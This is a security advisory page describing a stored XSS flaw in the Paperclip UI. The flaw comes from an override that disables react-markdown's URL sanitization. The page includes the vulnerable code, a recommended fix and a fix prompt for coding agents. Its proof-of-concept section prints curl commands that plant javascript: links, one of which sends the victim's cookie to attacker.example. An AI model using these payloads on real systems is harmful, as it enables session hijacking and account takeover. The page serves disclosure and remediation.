# GHSA-fpw4-p57j-hqmq: Paperclip: Stored XSS via javascript: URLs in MarkdownBody — urlTransform override disables react-markdown sanitization

> Authenticated users can inject JavaScript via Markdown links, leading to cross-user account takeover when victims click the malicious links.

- **Severity:** Not scored
- **Exploited in the wild:** Not known
- **Login needed:** Any signed-in user
- **Attackable:** Over the internet
- **Victim action needed:** A user has to click or open something
- **Fix available:** Yes
- **Published:** 16 Apr 2026

## What is GHSA-fpw4-p57j-hqmq?

GHSA-fpw4-p57j-hqmq is a cross-site scripting vulnerability in @paperclipai/ui, published on 16 Apr 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.

### Official description

## Summary

`MarkdownBody`, the shared component used to render every Markdown surface in the Paperclip UI (issue documents, issue comments, chat threads, approvals, agent details, export previews, etc.), passes `urlTransform={(url) => url}` to `react-markdown`. That override replaces `react-markdown`'s built-in `defaultUrlTransform` — the library's only defense against `javascript:`/`vbscript:`/`data:` URL injection — with a no-op, and the custom `a` component then renders the unsanitized href directly. Any authenticated company member can plant `[text](javascript:...)` in an issue document or comment; when another member clicks the link, the script executes in the Paperclip origin with full access to the victim's session, enabling cross-user account takeover inside a tenant.

## Details

### 1. Sink: MarkdownBody overrides url sanitization

`ui/src/components/MarkdownBody.tsx:107-135` (custom anchor renderer) and `ui/src/components/MarkdownBody.tsx:162` (Markdown element):

```tsx
a: ({ href, children: linkChildren }) => {
  const parsed = href ? parseMentionChipHref(href) : null;
  if (parsed) { /* mention chip path, rewrites href */ }
  return (
    <a href={href} rel="noreferrer">
      {linkChildren}
    </a>
  );
},
// ...
<Markdown remarkPlugins={[remarkGfm]} components={components} urlTransform={(url) => url}>
  {children}
</Markdown>
```

`react-markdown` v10 ships `defaultUrlTransform` (see `react-markdown` source) which strips any URL whose scheme matches `/^(javascript|vbscript|file|data(?!:image\/(?:gif|jpeg|jpg|png|webp)))/i`. Passing `urlTransform={(url) => url}` replaces that defense with an identity function, so unsafe hrefs flow directly into the custom `a` renderer. React 19 only emits a dev-mode warning for `javascript:` hrefs — in production builds it renders them verbatim, and clicking the link executes the script in the current origin.

### 2. Source: unsanitized markdown bodies

`server/src/routes/issues.ts:815-862` accepts issue document bodies:

```ts
router.put("/issues/:id/documents/:key", validate(upsertIssueDocumentSchema), async (req, res) => {
  // ...
  assertCompanyAccess(req, issue.companyId);
  // ...
  const result = await documentsSvc.upsertIssueDocument({
    issueId: issue.id,
    key: keyParsed.data,
    title: req.body.title ?? null,
    format: req.body.format,
    body: req.body.body,          // ← stored verbatim
    // ...
  });
```

`packages/shared/src/validators/issue.ts:196-202`:

```ts
export const upsertIssueDocumentSchema = z.object({
  title: z.string().trim().max(200).nullable().optional(),
  format: issueDocumentFormatSchema,     // enum: ["markdown"]
  body: z.string().max(524288),          // no content validation
  // ...
});
```

Only the `format` enum and a 512 KiB length cap are enforced; the body is persisted as-is. Comment bodies follow the same pattern — `svc.addComment` (`server/src/routes/issues.ts:1639`) stores a `z.string().min(1)` body (line 166 of the validator).

### 3. Rendering path

`ui/src/components/IssueDocumentsSection.tsx:71-72`:

```tsx
function renderBody(body: string, className?: string) {
  return <MarkdownBody className={className}>{body}</MarkdownBody>;
}
```

`ui/src/components/CommentThread.tsx:372`:

```tsx
<MarkdownBody className="text-sm">{comment.body}</MarkdownBody>
```

The same sink is reused by `IssueChatThread`, `ApprovalDetail`, `AgentDetail`, `CompanySkills`, `CompanyImport`/`CompanyExport`, and `RunTranscriptView`. Every Markdown surface in the product inherits the vulnerability.

### 4. Authorization does not block cross-user reach

`server/src/routes/authz.ts:18-31` (`assertCompanyAccess`) accepts any authenticated user whose `companyIds` includes the target `companyId`. There is no role check — a low-privilege company member can plant a payload against admins and owners who view the issue.

### 5. No compensating CSP

A repository-wide grep for `Content-Security-Policy` finds only two matches, both scoped to sandboxed export/preview responses (`server/src/routes/assets.ts:328` and `server/src/routes/issues.ts:2572`). The main application HTML is served without any CSP, so the browser will happily navigate a `javascript:` href on click.

## PoC

Prerequisites: two accounts in the same company (`attacker` and `victim`), an existing issue `<ISSUE_ID>`, the backend reachable on `http://localhost:3000`.

**Step 1 — Attacker plants a malicious issue document:**

```bash
curl -X PUT 'http://localhost:3000/api/issues/<ISSUE_ID>/documents/plan' \
  -H 'Cookie: <attacker-session-cookie>' \
  -H 'Content-Type: application/json' \
  -d '{
        "format": "markdown",
        "body": "# Plan\n\n[Click for details](javascript:fetch(\"https://attacker.example/steal?c=\"+encodeURIComponent(document.cookie)))"
      }'
```

Expected (verified): `201 Created` with the persisted document JSON. `upsertIssueDocumentSchema` accepts the body because it is a valid markdown string under 524288 bytes.

**Step 2 — Victim opens the issue:**

The victim navigates to the issue in the browser. `IssueDocumentsSection` calls `renderBody(doc.body)` → `<MarkdownBody>`, which emits the DOM:

```html
<a href="javascript:fetch(&quot;https://attacker.example/steal?c=&quot;+encodeURIComponent(document.cookie))" rel="noreferrer">Click for details</a>
```

**Step 3 — Victim clicks the link:**

The browser executes the `javascript:` URL in the Paperclip origin. The attacker's listener receives the victim's session cookie. From there the attacker can replay the cookie against any endpoint guarded by `assertCompanyAccess` to act as the victim — posting comments, transitioning issues, invoking approvals, reading agent keys the victim can read, etc.

**Alternate vector — comments (same sink):**

```bash
curl -X POST 'http://localhost:3000/api/issues/<ISSUE_ID>/comments' \
  -H 'Cookie: <attacker-session-cookie>' \
  -H 'Content-Type: application/json' \
  -d '{"body":"[pwn](javascript:alert(document.cookie))"}'
```

`CommentThread.tsx:372` renders `comment.body` through the same `MarkdownBody` sink, producing the same stored XSS without needing document-edit privileges.

## Impact

- **Cross-user stored XSS inside the tenant.** A low-privilege company member can plant a payload that runs in any other member's session — including admins/owners — on click.
- **Session hijack.** The script executes on the Paperclip origin with access to `document.cookie` and every in-browser API credential; a victim click immediately exfiltrates the session to an attacker-controlled host.
- **Privilege escalation.** Because every `assertCompanyAccess` route accepts a valid session, a captured admin cookie grants full company admin on the API surface (agent keys, approvals, document edits, settings).
- **Tenant-wide blast radius.** The same `MarkdownBody` sink is used by issue documents, issue comments, issue chat, approvals, agent detail, company import/export, and run transcripts, so almost every user-visible text surface in the product is vulnerable.
- **Persistent.** The payload lives in the document or comment record until explicitly deleted.

## Recommended Fix

The minimum fix is to remove the `urlTransform` override in `ui/src/components/MarkdownBody.tsx:162` and rely on `react-markdown`'s `defaultUrlTransform`:

```tsx
// ui/src/components/MarkdownBody.tsx
import Markdown, { defaultUrlTransform, type Components } from "react-markdown";

// ...

// Preserve mention-chip (paperclip-mention://) hrefs so parseMentionChipHref still runs,
// but fall back to the library's scheme allow-list for everything else.
function safeUrlTransform(url: string): string {
  if (url.startsWith("paperclip-mention://")) return url;
  return defaultUrlTransform(url);
}

<Markdown
  remarkPlugins={[remarkGfm]}
  components={components}
  urlTransform={safeUrlTransform}
>
  {children}
</Markdown>
```

`defaultUrlTransform` strips `javascript:`, `vbscript:`, `file:`, and non-image `data:` URIs, which closes this finding for every

## Which versions are affected by GHSA-fpw4-p57j-hqmq?

2 open source packages ship an affected version, including @paperclipai/ui.


| Package | Ecosystem | Affected | Fixed in |
| --- | --- | --- | --- |
| `@paperclipai/ui` | npm | All versions | 2026.416.0 |
| `@paperclipai/ui` | npm | All versions | 2026.416.0 |

## How do I fix GHSA-fpw4-p57j-hqmq?

Upgrade @paperclipai/ui to 2026.416.0 or later.

## Is GHSA-fpw4-p57j-hqmq being exploited?

There is no known exploitation of GHSA-fpw4-p57j-hqmq in the wild and no public exploit code.

## Fix prompt for AI coding agents

```text
Check this codebase for GHSA-fpw4-p57j-hqmq and fix it if it is affected.

What it is: GHSA-fpw4-p57j-hqmq is a cross-site scripting vulnerability in @paperclipai/ui, published on 16 Apr 2026. Any signed-in user can exploit it over the network, and only if a user opens a file or follows a link.
Exploitation: There is no known exploitation of GHSA-fpw4-p57j-hqmq in the wild and no public exploit code.

Affected packages and fixed versions:
- @paperclipai/ui (npm): affected all versions; fixed in 2026.416.0
- @paperclipai/ui (npm): affected all versions; fixed in 2026.416.0

Task:
1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.
2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.
3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.
4. Run the tests and summarise what changed and why.
5. If nothing in the project is affected, say so and change nothing.

Reference: https://insights.sbomify.com/GHSA-fpw4-p57j-hqmq/ (Markdown: https://insights.sbomify.com/GHSA-fpw4-p57j-hqmq/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/GHSA-fpw4-p57j-hqmq

---
From sbomify Insights: https://insights.sbomify.com/GHSA-fpw4-p57j-hqmq/
Summaries are generated and may contain mistakes; the official description above is the record.
